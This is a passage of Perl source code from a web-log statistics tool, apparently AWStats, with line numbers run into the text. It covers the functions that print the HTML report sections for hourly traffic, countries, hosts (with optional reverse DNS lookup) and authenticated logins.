!$StaticLinks) ) { 14439 # extend the title to include the added link 14440 $title = "$title - <a href=\"" . (XMLEncode( 14441 "$AddLinkToExternalCGIWrapper" . "?section=TIME&baseName=$DirData/$PROG" 14442 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 14443 . "&siteConfig=$SiteConfig" ) 14444 . "\"$NewLinkTarget>$Message[179]</a>"); 14445 } 14446 14447 if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) { 14448 $title .= " (GMT " 14449 . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" ) 14450 . int( GetTimeZoneTitle_timezone() ) . ")"; 14451 } 14452 &tab_head( "$title", 19, 0, 'hours' ); 14453 print "<tr><td align=\"center\">\n"; 14454 print "<center>\n"; 14455 14456 my $max_h = my $max_k = 1; 14457 for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { 14458 14459 #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; } 14460 if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; } 14461 if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; } 14462 } 14463 14464 # Show bars for hour 14465 my $graphdone=0; 14466 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 14467 { 14468 my @blocklabel = ( 0 .. 23 ); 14469 my @vallabel = 14470 ( "$Message[56]", "$Message[57]", "$Message[75]" ); 14471 my @valcolor = ( "$color_p", "$color_h", "$color_k" ); 14472 my @valmax = ( int($max_h), int($max_h), int($max_k) ); 14473 my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); 14474 my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes ); 14475 my @valdata = (); 14476 my $xx = 0; 14477 for ( 0 .. 23 ) { 14478 $valdata[ $xx++ ] = $_time_p[$_] || 0; 14479 $valdata[ $xx++ ] = $_time_h[$_] || 0; 14480 $valdata[ $xx++ ] = $_time_k[$_] || 0; 14481 } 14482 my $function = "ShowGraph_$pluginname"; 14483 &$function( 14484 "$title", "hours", 14485 $ShowHoursStats, \@blocklabel, 14486 \@vallabel, \@valcolor, 14487 \@valmax, \@valtotal, 14488 \@valaverage, \@valdata 14489 ); 14490 $graphdone=1; 14491 } 14492 if (! $graphdone) 14493 { 14494 print "<table>\n"; 14495 print "<tr valign=\"bottom\">\n"; 14496 for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { 14497 my $bredde_p = 0; 14498 my $bredde_h = 0; 14499 my $bredde_k = 0; 14500 if ( $max_h > 0 ) { 14501 $bredde_p = 14502 int( $BarHeight * $_time_p[$ix] / $max_h ) + 1; 14503 } 14504 if ( $max_h > 0 ) { 14505 $bredde_h = 14506 int( $BarHeight * $_time_h[$ix] / $max_h ) + 1; 14507 } 14508 if ( $max_k > 0 ) { 14509 $bredde_k = 14510 int( $BarHeight * $_time_k[$ix] / $max_k ) + 1; 14511 } 14512 print "<td>"; 14513 if ( $ShowHoursStats =~ /P/i ) { 14514 print 14515"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" 14516 . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) ) 14517 . " />"; 14518 } 14519 if ( $ShowHoursStats =~ /H/i ) { 14520 print 14521"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" 14522 . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) ) 14523 . " />"; 14524 } 14525 if ( $ShowHoursStats =~ /B/i ) { 14526 print 14527"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" 14528 . AltTitle( 14529 "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) ) 14530 . " />"; 14531 } 14532 print "</td>\n"; 14533 } 14534 print "</tr>\n"; 14535 14536 # Show hour lib 14537 print "<tr" . Tooltip(17) . ">"; 14538 for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { 14539 print "<th width=\"19\">$ix</th>\n" 14540 ; # width=19 instead of 18 to avoid a MacOS browser bug. 14541 } 14542 print "</tr>\n"; 14543 14544 # Show clock icon 14545 print "<tr" . Tooltip(17) . ">\n"; 14546 for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { 14547 my $hrs = ( $ix >= 12 ? $ix - 12 : $ix ); 14548 my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 ); 14549 my $apm = ( $ix >= 12 ? "pm" : "am" ); 14550 print 14551"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n"; 14552 } 14553 print "</tr>\n"; 14554 print "</table>\n"; 14555 } 14556 print "<br />\n"; 14557 14558 # Show data array for hours 14559 if ($AddDataArrayShowHoursStats) { 14560 print "<table width=\"650\"><tr>\n"; 14561 print "<td align=\"center\"><center>\n"; 14562 14563 print "<table>\n"; 14564 print 14565"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; 14566 if ( $ShowHoursStats =~ /P/i ) { 14567 print "<td width=\"80\" bgcolor=\"#$color_p\"" 14568 . Tooltip(3) 14569 . ">$Message[56]</td>"; 14570 } 14571 if ( $ShowHoursStats =~ /H/i ) { 14572 print "<td width=\"80\" bgcolor=\"#$color_h\"" 14573 . Tooltip(4) 14574 . ">$Message[57]</td>"; 14575 } 14576 if ( $ShowHoursStats =~ /B/i ) { 14577 print "<td width=\"80\" bgcolor=\"#$color_k\"" 14578 . Tooltip(5) 14579 . ">$Message[75]</td>"; 14580 } 14581 print "</tr>"; 14582 for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) { 14583 my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); 14584 print "<tr>"; 14585 print "<td>$monthix</td>"; 14586 if ( $ShowHoursStats =~ /P/i ) { 14587 print "<td>", 14588 Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), 14589 "</td>"; 14590 } 14591 if ( $ShowHoursStats =~ /H/i ) { 14592 print "<td>", 14593 Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), 14594 "</td>"; 14595 } 14596 if ( $ShowHoursStats =~ /B/i ) { 14597 print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), 14598 "</td>"; 14599 } 14600 print "</tr>\n"; 14601 } 14602 print "</table>\n"; 14603 14604 print "</center></td>"; 14605 print "<td width=\"10\"> </td>"; 14606 print "<td align=\"center\"><center>\n"; 14607 14608 print "<table>\n"; 14609 print 14610"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; 14611 if ( $ShowHoursStats =~ /P/i ) { 14612 print "<td width=\"80\" bgcolor=\"#$color_p\"" 14613 . Tooltip(3) 14614 . ">$Message[56]</td>"; 14615 } 14616 if ( $ShowHoursStats =~ /H/i ) { 14617 print "<td width=\"80\" bgcolor=\"#$color_h\"" 14618 . Tooltip(4) 14619 . ">$Message[57]</td>"; 14620 } 14621 if ( $ShowHoursStats =~ /B/i ) { 14622 print "<td width=\"80\" bgcolor=\"#$color_k\"" 14623 . Tooltip(5) 14624 . ">$Message[75]</td>"; 14625 } 14626 print "</tr>\n"; 14627 for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) { 14628 my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); 14629 print "<tr>"; 14630 print "<td>$monthix</td>"; 14631 if ( $ShowHoursStats =~ /P/i ) { 14632 print "<td>", 14633 Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), 14634 "</td>"; 14635 } 14636 if ( $ShowHoursStats =~ /H/i ) { 14637 print "<td>", 14638 Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), 14639 "</td>"; 14640 } 14641 if ( $ShowHoursStats =~ /B/i ) { 14642 print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), 14643 "</td>"; 14644 } 14645 print "</tr>\n"; 14646 } 14647 print "</table>\n"; 14648 14649 print "</center></td></tr></table>\n"; 14650 print "<br />\n"; 14651 } 14652 14653 print "</center></td></tr>\n"; 14654 &tab_end(); 14655} 14656 14657#------------------------------------------------------------------------------ 14658# Function: Prints the countries chart and table 14659# Parameters: $NewLinkParams, $NewLinkTarget 14660# Input: - 14661# Output: HTML 14662# Return: - 14663#------------------------------------------------------------------------------ 14664sub HTMLMainCountries{ 14665 my $NewLinkParams = shift; 14666 my $NewLinkTarget = shift; 14667 14668 if ($Debug) { debug( "ShowDomainsStats", 2 ); } 14669 print "$Center<a name=\"countries\"> </a><br />\n"; 14670 my $title = 14671"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\"" 14672 . ( 14673 $ENV{'GATEWAY_INTERFACE'} 14674 || !$StaticLinks 14675 ? XMLEncode("$AWScript${NewLinkParams}output=alldomains") 14676 : "$StaticLinks.alldomains.$StaticExt" 14677 ) 14678 . "\"$NewLinkTarget>$Message[80]</a>"; 14679 14680 14681 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 14682 # extend the title to include the added link 14683 $title = "$title - <a href=\"" . (XMLEncode( 14684 "$AddLinkToExternalCGIWrapper" . "?section=DOMAIN&baseName=$DirData/$PROG" 14685 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 14686 . "&siteConfig=$SiteConfig" ) 14687 . "\"$NewLinkTarget>$Message[179]</a>"); 14688 } 14689 14690 &tab_head( "$title", 19, 0, 'countries' ); 14691 14692 my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; 14693 my $max_h = 1; 14694 foreach ( values %_domener_h ) { 14695 if ( $_ > $max_h ) { $max_h = $_; } 14696 } 14697 my $max_k = 1; 14698 foreach ( values %_domener_k ) { 14699 if ( $_ > $max_k ) { $max_k = $_; } 14700 } 14701 my $count = 0; 14702 14703 &BuildKeyList( 14704 $MaxNbOf{'Domain'}, $MinHit{'Domain'}, 14705 \%_domener_h, \%_domener_p 14706 ); 14707 14708 # print the map 14709 if (scalar @keylist > 1){ 14710 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 14711 { 14712 my @blocklabel = (); 14713 my @valdata = (); 14714 my $cnt = 0; 14715 foreach my $key (@keylist) { 14716 push @valdata, int( $_domener_h{$key} ); 14717 push @blocklabel, $DomainsHashIDLib{$key}; 14718 $cnt++; 14719 if ($cnt > 99) { last; } 14720 } 14721 print "<tr><td colspan=\"7\" align=\"center\">"; 14722 my $function = "ShowGraph_$pluginname"; 14723 &$function( 14724 "AWStatsCountryMap", "countries_map", 14725 0, \@blocklabel, 14726 0, 0, 14727 0, 0, 14728 0, \@valdata 14729 ); 14730 print "</td></tr>"; 14731 } 14732 } 14733 14734 print 14735"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; 14736 14737 ## to add unique visitors and number of visits by calculation of average of the relation with total 14738 ## pages and total hits, and total visits and total unique 14739 ## by Josep Ruano @ CAPSiDE 14740 if ( $ShowDomainsStats =~ /U/i ) { 14741 print "<th bgcolor=\"#$color_u\" width=\"80\"" 14742 . Tooltip(2) 14743 . ">$Message[11]</th>"; 14744 } 14745 if ( $ShowDomainsStats =~ /V/i ) { 14746 print "<th bgcolor=\"#$color_v\" width=\"80\"" 14747 . Tooltip(1) 14748 . ">$Message[10]</th>"; 14749 } 14750 if ( $ShowDomainsStats =~ /P/i ) { 14751 print "<th bgcolor=\"#$color_p\" width=\"80\"" 14752 . Tooltip(3) 14753 . ">$Message[56]</th>"; 14754 } 14755 if ( $ShowDomainsStats =~ /H/i ) { 14756 print "<th bgcolor=\"#$color_h\" width=\"80\"" 14757 . Tooltip(4) 14758 . ">$Message[57]</th>"; 14759 } 14760 if ( $ShowDomainsStats =~ /B/i ) { 14761 print "<th bgcolor=\"#$color_k\" width=\"80\"" 14762 . Tooltip(5) 14763 . ">$Message[75]</th>"; 14764 } 14765 print "<th> </th>"; 14766 print "</tr>\n"; 14767 14768 foreach my $key (@keylist) { 14769 my ( $_domener_u, $_domener_v ); 14770 my $bredde_p = 0; 14771 my $bredde_h = 0; 14772 my $bredde_k = 0; 14773 my $bredde_u = 0; 14774 my $bredde_v = 0; 14775 if ( $max_h > 0 ) { 14776 $bredde_p = 14777 int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; 14778 } # use max_h to enable to compare pages with hits 14779 if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } 14780 if ( $max_h > 0 ) { 14781 $bredde_h = 14782 int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; 14783 } 14784 if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } 14785 if ( $max_k > 0 ) { 14786 $bredde_k = 14787 int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + 14788 1; 14789 } 14790 if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } 14791 my $newkey = lc($key); 14792 if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { 14793 print 14794"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" 14795 . AltTitle("$Message[0]") 14796 . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; 14797 } 14798 else { 14799 print 14800"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" 14801 . AltTitle("$newkey") 14802 . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; 14803 } 14804 ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE 14805 if ( $ShowDomainsStats =~ /U/i ) { 14806 $_domener_u = ( 14807 $_domener_p{$key} 14808 ? $_domener_p{$key} / $TotalPages 14809 : 0 14810 ); 14811 $_domener_u += ( $_domener_h{$key} / $TotalHits ); 14812 $_domener_u = 14813 sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); 14814 print "<td>".Format_Number($_domener_u)." (" 14815 . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) 14816 . ")</td>"; 14817 } 14818 if ( $ShowDomainsStats =~ /V/i ) { 14819 $_domener_v = ( 14820 $_domener_p{$key} 14821 ? $_domener_p{$key} / $TotalPages 14822 : 0 14823 ); 14824 $_domener_v += ( $_domener_h{$key} / $TotalHits ); 14825 $_domener_v = 14826 sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); 14827 print "<td>".Format_Number($_domener_v)." (" 14828 . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) 14829 . ")</td>"; 14830 } 14831 14832 if ( $ShowDomainsStats =~ /P/i ) { 14833 print "<td>" 14834 . ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : ' ' ) 14835 . "</td>"; 14836 } 14837 if ( $ShowDomainsStats =~ /H/i ) { 14838 print "<td>".Format_Number($_domener_h{$key})."</td>"; 14839 } 14840 if ( $ShowDomainsStats =~ /B/i ) { 14841 print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; 14842 } 14843 print "<td class=\"aws\">"; 14844 14845 if ( $ShowDomainsStats =~ /P/i ) { 14846 print 14847"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" 14848 . AltTitle("") 14849 . " /><br />\n"; 14850 } 14851 if ( $ShowDomainsStats =~ /H/i ) { 14852 print 14853"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" 14854 . AltTitle("") 14855 . " /><br />\n"; 14856 } 14857 if ( $ShowDomainsStats =~ /B/i ) { 14858 print 14859"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" 14860 . AltTitle("") . " />"; 14861 } 14862 print "</td>"; 14863 print "</tr>\n"; 14864 14865 $total_u += $_domener_u; 14866 $total_v += $_domener_v; 14867 $total_p += $_domener_p{$key}; 14868 $total_h += $_domener_h{$key}; 14869 $total_k += $_domener_k{$key} || 0; 14870 $count++; 14871 } 14872 my $rest_u = $TotalUnique - $total_u; 14873 my $rest_v = $TotalVisits - $total_v; 14874 my $rest_p = $TotalPages - $total_p; 14875 my $rest_h = $TotalHits - $total_h; 14876 my $rest_k = $TotalBytes - $total_k; 14877 if ( $rest_u > 0 14878 || $rest_v > 0 14879 || $rest_p > 0 14880 || $rest_h > 0 14881 || $rest_k > 0 ) 14882 { # All other domains (known or not) 14883 print 14884"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 14885 if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } 14886 if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } 14887 if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; } 14888 if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } 14889 if ( $ShowDomainsStats =~ /B/i ) { 14890 print "<td>" . Format_Bytes($rest_k) . "</td>"; 14891 } 14892 print "<td class=\"aws\"> </td>"; 14893 print "</tr>\n"; 14894 } 14895 &tab_end(); 14896} 14897 14898#------------------------------------------------------------------------------ 14899# Function: Prints the hosts chart and table 14900# Parameters: $NewLinkParams, $NewLinkTarget 14901# Input: - 14902# Output: HTML 14903# Return: - 14904#------------------------------------------------------------------------------ 14905sub HTMLMainHosts{ 14906 my $NewLinkParams = shift; 14907 my $NewLinkTarget = shift; 14908 14909 if ($Debug) { debug( "ShowHostsStats", 2 ); } 14910 print "$Center<a name=\"visitors\"> </a><br />\n"; 14911 my $title = 14912"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\"" 14913 . ( 14914 $ENV{'GATEWAY_INTERFACE'} 14915 || !$StaticLinks 14916 ? XMLEncode("$AWScript${NewLinkParams}output=allhosts") 14917 : "$StaticLinks.allhosts.$StaticExt" 14918 ) 14919 . "\"$NewLinkTarget>$Message[80]</a> - <a href=\"" 14920 . ( 14921 $ENV{'GATEWAY_INTERFACE'} 14922 || !$StaticLinks 14923 ? XMLEncode("$AWScript${NewLinkParams}output=lasthosts") 14924 : "$StaticLinks.lasthosts.$StaticExt" 14925 ) 14926 . "\"$NewLinkTarget>$Message[9]</a> - <a href=\"" 14927 . ( 14928 $ENV{'GATEWAY_INTERFACE'} 14929 || !$StaticLinks 14930 ? XMLEncode("$AWScript${NewLinkParams}output=unknownip") 14931 : "$StaticLinks.unknownip.$StaticExt" 14932 ) 14933 . "\"$NewLinkTarget>$Message[45]</a>"; 14934 14935 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 14936 # extend the title to include the added link 14937 $title = "$title - <a href=\"" . (XMLEncode( 14938 "$AddLinkToExternalCGIWrapper" . "?section=VISITOR&baseName=$DirData/$PROG" 14939 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 14940 . "&siteConfig=$SiteConfig" ) 14941 . "\"$NewLinkTarget>$Message[179]</a>"); 14942 } 14943 14944 &tab_head( "$title", 19, 0, 'visitors' ); 14945 14946 &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, 14947 \%_host_p ); 14948 14949 # Graph the top five in a pie chart 14950 if (scalar @keylist > 1){ 14951 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 14952 { 14953 my @blocklabel = (); 14954 my @valdata = (); 14955 my @valcolor = ($color_p); 14956 14957 my $cnt = 0; 14958 my $suma = 0; 14959 foreach my $key (@keylist) { 14960 $suma=$suma + ( $_host_h{$key}); 14961 $cnt++; 14962 if ($cnt > 4) { last; } 14963 } 14964 14965 my $cnt = 0; 14966 foreach my $key (@keylist) { 14967 push @valdata, int( $_host_h{$key} / $suma * 1000 ) / 10; 14968 push @blocklabel, "$key"; 14969 $cnt++; 14970 if ($cnt > 4) { last; } 14971 } 14972 14973 print "<tr><td colspan=\"7\">"; 14974 my $function = "ShowGraph_$pluginname"; 14975 &$function( 14976 "Hosts", "hosts", 14977 0, \@blocklabel, 14978 0, \@valcolor, 14979 0, 0, 14980 0, \@valdata 14981 ); 14982 print "</td></tr>"; 14983 } 14984 } 14985 14986 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 14987 print "<th>"; 14988 if ( $MonthRequired ne 'all' ) { 14989 print 14990"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>"; 14991 } 14992 else { 14993 print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>"; 14994 } 14995 &HTMLShowHostInfo('__title__'); 14996 if ( $ShowHostsStats =~ /P/i ) { 14997 print "<th bgcolor=\"#$color_p\" width=\"80\"" 14998 . Tooltip(3) 14999 . ">$Message[56]</th>"; 15000 } 15001 if ( $ShowHostsStats =~ /H/i ) { 15002 print "<th bgcolor=\"#$color_h\" width=\"80\"" 15003 . Tooltip(4) 15004 . ">$Message[57]</th>"; 15005 } 15006 if ( $ShowHostsStats =~ /B/i ) { 15007 print "<th bgcolor=\"#$color_k\" width=\"80\"" 15008 . Tooltip(5) 15009 . ">$Message[75]</th>"; 15010 } 15011 if ( $ShowHostsStats =~ /L/i ) { 15012 print "<th width=\"120\">$Message[9]</th>"; 15013 } 15014 print "</tr>\n"; 15015 my $total_p = my $total_h = my $total_k = 0; 15016 my $count = 0; 15017 15018 my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; 15019 15020 if ( $DynamicDNSLookup == 2 ) { 15021 # Use static DNS file 15022 &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ); 15023 } 15024 15025 foreach my $key (@keylist) { 15026 print "<tr>"; 15027 print "<td class=\"aws\">$key"; 15028 15029 if ($DynamicDNSLookup) { 15030 # Dynamic reverse DNS lookup 15031 if ($key =~ /$regipv4/o) { 15032 my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$key)),AF_INET)); # This may be slow 15033 if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) { 15034 if ( $DynamicDNSLookup == 2 ) { 15035 # Check static DNS file 15036 $lookupresult = $MyDNSTable{$key}; 15037 if ($lookupresult) { print " ($lookupresult)"; } 15038 else { print ""; } 15039 } 15040 else { print ""; } 15041 } 15042 else { print " ($lookupresult)"; } 15043 } 15044 } 15045 15046 print "</td>"; 15047 &HTMLShowHostInfo($key); 15048 if ( $ShowHostsStats =~ /P/i ) { 15049 print '<td>' . ( Format_Number($_host_p{$key}) || " " ) . '</td>'; 15050 } 15051 if ( $ShowHostsStats =~ /H/i ) { 15052 print "<td>".Format_Number($_host_h{$key})."</td>"; 15053 } 15054 if ( $ShowHostsStats =~ /B/i ) { 15055 print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>'; 15056 } 15057 if ( $ShowHostsStats =~ /L/i ) { 15058 print '<td nowrap="nowrap">' 15059 . ( 15060 $_host_l{$key} 15061 ? Format_Date( $_host_l{$key}, 1 ) 15062 : '-' 15063 ) 15064 . '</td>'; 15065 } 15066 print "</tr>\n"; 15067 $total_p += $_host_p{$key}; 15068 $total_h += $_host_h{$key}; 15069 $total_k += $_host_k{$key} || 0; 15070 $count++; 15071 } 15072 my $rest_p = $TotalPages - $total_p; 15073 my $rest_h = $TotalHits - $total_h; 15074 my $rest_k = $TotalBytes - $total_k; 15075 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 15076 { # All other visitors (known or not) 15077 print "<tr>"; 15078 print 15079"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 15080 &HTMLShowHostInfo(''); 15081 if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; } 15082 if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } 15083 if ( $ShowHostsStats =~ /B/i ) { 15084 print "<td>" . Format_Bytes($rest_k) . "</td>"; 15085 } 15086 if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } 15087 print "</tr>\n"; 15088 } 15089 &tab_end(); 15090} 15091 15092#------------------------------------------------------------------------------ 15093# Function: Prints the logins chart and table 15094# Parameters: $NewLinkParams, $NewLinkTarget 15095# Input: - 15096# Output: HTML 15097# Return: - 15098#------------------------------------------------------------------------------ 15099sub HTMLMainLogins{ 15100 my $NewLinkParams = shift; 15101 my $NewLinkTarget = shift; 15102 15103 if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); } 15104 print "$Center<a name=\"logins\"> </a><br />\n"; 15105 my $title = 15106"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\"" 15107 . ( 15108 $ENV{'GATEWAY_INTERFACE'} 15109 || !$StaticLinks 15110 ? XMLEncode("$AWScript${NewLinkParams}output=alllogins") 15111 : "$StaticLinks.alllogins.$StaticExt" 15112 ) 15113 . "\"$NewLinkTarget>$Message[80]</a>"; 15114 if ( $ShowAuthenticatedUsers =~ /L/i ) { 15115 $title .= " - <a href=\"" 15116 . ( 15117 $ENV{'GATEWAY_INTERFACE'} 15118 || !$StaticLinks 15119 ? XMLEncode("$AWScript${NewLinkParams}output=lastlogins") 15120 : "$StaticLinks.lastlogins.$StaticExt" 15121 ) 15122 . "\"$NewLinkTarget>$Message[9]</a>"; 15123 } 15124 &tab_head( "$title", 19, 0, 'logins' ); 15125 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " 15126 . Format_Number(( scalar keys %_login_h )) . "</th>"; 15127 &HTMLShowUserInfo('__title__'); 15128 if ( $ShowAuthenticatedUsers =~ /P/i ) { 15129 print "<th bgcolor=\"#$color_p\" width=\"80\"" 15130 . Tooltip(3) 15131 . ">$Message[56]</th>"; 15132 } 15133 if ( $ShowAuthenticatedUsers =~ /H/i ) { 15134 print "<th bgcolor=\"#$color_h\" width=\"80\"" 15135 . Tooltip(4) 15136 . ">$Message[57]</th>"; 15137 } 15138 if ( $ShowAuthenticatedUsers =~ /B/i ) { 15139 print "<th bgcolor=\"#$color_k\" width=\"80\"" 15140 . Tooltip(5) 15141 . ">$Message[75]</th>"; 15142 } 15143 if ( $ShowAuthenticatedUsers =~ /L/i ) { 15144 print "<th width=\"120\">$Message[9]</th>"; 15145 } 15146 print "</tr>\n"; 15147 my $total_p = my $total_h = my $total_k = 0; 15148 my $max_h = 1; 15149 foreach ( values %_login_h ) { 15150 if ( $_ > $max_h ) { $max_h = $_; } 15151 } 15152 my $max_k = 1; 15153 foreach ( values %_login_k ) { 15154 if ( $_ > $max_k ) { $max_k = $_; } 15155 } 15156 my $count = 0; 15157 &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, 15158 \%_login_p ); 15159 foreach my $key (@keylist) { 15160 my $bredde_p = 0; 15161 my $bredde_h = 0; 15162 my $bredde_k = 0; 15163 if ( $max_h > 0 ) { 15164 $bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1; 15165 } # use max_h to enable to compare pages with hits 15166 if ( $max_h > 0 ) { 15167 $bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1; 15168 } 15169 if ( $max_k > 0 ) { 15170 $bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1; 15171 } 15172 print "<tr><td class=\"aws\">$key</td>"; 15173 &HTMLShowUserInfo($key); 15174 if ( $ShowAuthenticatedUsers =~ /P/i ) { 15175 print "<td>" 15176 . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) 15177 . "</td>"; 15178 } 15179 if ( $ShowAuthenticatedUsers =~ /H/i ) { 15180 print "<td>".Format_Number($_login_h{$key})."</td>"; 15181 } 15182 if ( $ShowAuthenticatedUsers =~ /B/i ) { 15183 print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; 15184 } 15185 if ( $ShowAuthenticatedUsers =~ /L/i ) { 15186 print "<td>" 15187 . ( 15188 $_login_l{$key} 15189 ? Format_Date( $_login_l{$key}, 1 ) 15190 : '-' 15191 ) 15192 . "</td>"; 15193 } 15194 print "</tr>\n"; 15195 $total_p += $_login_p{$key}; 15196 $total_h += $_login_h{$key}; 15197 $total_k += $_login_k{$key}; 15198 $count++; 15199 } 15200 my $rest_p = $TotalPages - $total_p; 15201 my $rest_h = $TotalHits - $total_h; 15202 my $rest_k = $TotalBytes - $total_k; 15203 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 15204 { # All other logins 15205 print 15206 "<tr><td class=\"aws\"><span style=\"color: #$color_other\">" 15207 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 15208 . "$Message[125]" 15209 . ( $PageDir eq 'rtl' ? "</span>" : "" ) 15210 . "</span></td>"; 15211 &HTMLShowUserInfo(''); 15212 if ( $ShowAuthenticatedUsers =~ /P/i ) { 15213 print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; 15214 } 15215 if ( $ShowAuthenticatedUsers =~ /H/i ) { 15216 print "<td>".Format_Number($rest_h)."</td>"; 15217 } 15218 if ( $ShowAuthenticatedUsers =~ /B/i ) { 15219 print "<td>" . Format_Bytes($rest_k) . "</td>"; 15220 } 15221 if ( $ShowAuthenticatedUsers =~ /L/i ) { 15222 print "<td> </td>"; 15223 } 15224 print "</tr>\n"; 15225 } 15226 &tab_end(); 15227} 15228 15229#------------------------------------------------------------------------------ 15230# Function: Prints the robots chart and table 15231# Parameters: 